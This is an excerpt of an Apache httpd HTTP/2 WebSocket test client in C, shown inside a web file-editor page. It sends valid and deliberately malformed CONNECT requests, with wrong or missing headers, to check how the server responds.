        log_errf(cmd, &quot;could not parse uri &#039;%s&#039;&quot;, argv[0]);
        return 1;
    }
    log_debugf(cmd, &quot;normalized uri: %s://%s:%u%s&quot;, uri.scheme, uri.host,
               uri.port, uri.path? uri.path : &quot;&quot;);
    scenario = argv[1];

    if (!host) {
        host = uri.host;
        port = uri.port;
    }

    if (h2_session_open(&amp;session, uri.host, host, port))
        return 1;

    if (ws_stream_create(&amp;stream, &amp;uri))
        return 1;

    if (!strcmp(scenario, &quot;ws-stdin&quot;)) {
        const nghttp2_nv nva[] = {
            MAKE_NV(&quot;:method&quot;, &quot;CONNECT&quot;),
            MAKE_NV_CS(&quot;:path&quot;, stream-&gt;s.uri-&gt;path),
            MAKE_NV_CS(&quot;:scheme&quot;, &quot;http&quot;),
            MAKE_NV_CS(&quot;:authority&quot;, stream-&gt;s.uri-&gt;authority),
            MAKE_NV_CS(&quot;:protocol&quot;, &quot;websocket&quot;),
            MAKE_NV(&quot;accept&quot;, &quot;*/*&quot;),
            MAKE_NV(&quot;user-agent&quot;, &quot;mod_h2/h2ws-test&quot;),
            MAKE_NV(&quot;sec-webSocket-version&quot;, &quot;13&quot;),
            MAKE_NV(&quot;sec-webSocket-protocol&quot;, &quot;chat&quot;),
        };
        if (ws_stream_submit(stream, &amp;session,
                             nva, sizeof(nva) / sizeof(nva[0]), 0))
            return 1;
    }
    else if (!strcmp(scenario, &quot;fail-proto&quot;)) {
        const nghttp2_nv nva[] = {
            MAKE_NV(&quot;:method&quot;, &quot;CONNECT&quot;),
            MAKE_NV_CS(&quot;:path&quot;, stream-&gt;s.uri-&gt;path),
            MAKE_NV_CS(&quot;:scheme&quot;, &quot;http&quot;),
            MAKE_NV_CS(&quot;:authority&quot;, stream-&gt;s.uri-&gt;authority),
            MAKE_NV_CS(&quot;:protocol&quot;, &quot;websockets&quot;),
            MAKE_NV(&quot;accept&quot;, &quot;*/*&quot;),
            MAKE_NV(&quot;user-agent&quot;, &quot;mod_h2/h2ws-test&quot;),
            MAKE_NV(&quot;sec-webSocket-version&quot;, &quot;13&quot;),
            MAKE_NV(&quot;sec-webSocket-protocol&quot;, &quot;chat&quot;),
        };
        if (ws_stream_submit(stream, &amp;session,
                             nva, sizeof(nva) / sizeof(nva[0]), -1))
            return 1;
    }
    else if (!strcmp(scenario, &quot;miss-version&quot;)) {
        const nghttp2_nv nva[] = {
            MAKE_NV(&quot;:method&quot;, &quot;CONNECT&quot;),
            MAKE_NV_CS(&quot;:path&quot;, stream-&gt;s.uri-&gt;path),
            MAKE_NV_CS(&quot;:scheme&quot;, &quot;http&quot;),
            MAKE_NV_CS(&quot;:authority&quot;, stream-&gt;s.uri-&gt;authority),
            MAKE_NV_CS(&quot;:protocol&quot;, &quot;websocket&quot;),
            MAKE_NV(&quot;accept&quot;, &quot;*/*&quot;),
            MAKE_NV(&quot;user-agent&quot;, &quot;mod_h2/h2ws-test&quot;),
            MAKE_NV(&quot;sec-webSocket-protocol&quot;, &quot;chat&quot;),
        };
        if (ws_stream_submit(stream, &amp;session,
                             nva, sizeof(nva) / sizeof(nva[0]), -1))
            return 1;
    }
    else if (!strcmp(scenario, &quot;miss-path&quot;)) {
        const nghttp2_nv nva[] = {
            MAKE_NV(&quot;:method&quot;, &quot;CONNECT&quot;),
            MAKE_NV_CS(&quot;:scheme&quot;, &quot;http&quot;),
            MAKE_NV_CS(&quot;:authority&quot;, stream-&gt;s.uri-&gt;authority),
            MAKE_NV_CS(&quot;:protocol&quot;, &quot;websocket&quot;),
            MAKE_NV(&quot;accept&quot;, &quot;*/*&quot;),
            MAKE_NV(&quot;user-agent&quot;, &quot;mod_h2/h2ws-test&quot;),
            MAKE_NV(&quot;sec-webSocket-version&quot;, &quot;13&quot;),
            MAKE_NV(&quot;sec-webSocket-protocol&quot;, &quot;chat&quot;),
        };
        if (ws_stream_submit(stream, &amp;session,
                             nva, sizeof(nva) / sizeof(nva[0]), -1))
            return 1;
    }
    else if (!strcmp(scenario, &quot;miss-scheme&quot;)) {
        const nghttp2_nv nva[] = {
            MAKE_NV(&quot;:method&quot;, &quot;CONNECT&quot;),
            MAKE_NV_CS(&quot;:path&quot;, stream-&gt;s.uri-&gt;path),
            MAKE_NV_CS(&quot;:authority&quot;, stream-&gt;s.uri-&gt;authority),
            MAKE_NV_CS(&quot;:protocol&quot;, &quot;websocket&quot;),
            MAKE_NV(&quot;accept&quot;, &quot;*/*&quot;),
            MAKE_NV(&quot;user-agent&quot;, &quot;mod_h2/h2ws-test&quot;),
            MAKE_NV(&quot;sec-webSocket-version&quot;, &quot;13&quot;),
            MAKE_NV(&quot;sec-webSocket-protocol&quot;, &quot;chat&quot;),
        };
        if (ws_stream_submit(stream, &amp;session,
                             nva, sizeof(nva) / sizeof(nva[0]), -1))
            return 1;
    }
    else if (!strcmp(scenario, &quot;miss-authority&quot;)) {
        const nghttp2_nv nva[] = {
            MAKE_NV(&quot;:method&quot;, &quot;CONNECT&quot;),
            MAKE_NV_CS(&quot;:path&quot;, stream-&gt;s.uri-&gt;path),
            MAKE_NV_CS(&quot;:scheme&quot;, &quot;http&quot;),
            MAKE_NV_CS(&quot;:protocol&quot;, &quot;websocket&quot;),
            MAKE_NV(&quot;accept&quot;, &quot;*/*&quot;),
            MAKE_NV(&quot;user-agent&quot;, &quot;mod_h2/h2ws-test&quot;),
            MAKE_NV(&quot;sec-webSocket-version&quot;, &quot;13&quot;),
            MAKE_NV(&quot;sec-webSocket-protocol&quot;, &quot;chat&quot;),
        };
        if (ws_stream_submit(stream, &amp;session,
                             nva, sizeof(nva) / sizeof(nva[0]), -1))
            return 1;
    }
    else {
        log_errf(cmd, &quot;unknown scenario: %s&quot;, scenario);
        return 1;
    }

    h2_session_run(&amp;session);
    h2_session_close(&amp;session);
    return 0;
}
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2FSRC%2Fhttpd-2.4.63%2Ftest%2Fclients'>🔙 Back</a></p>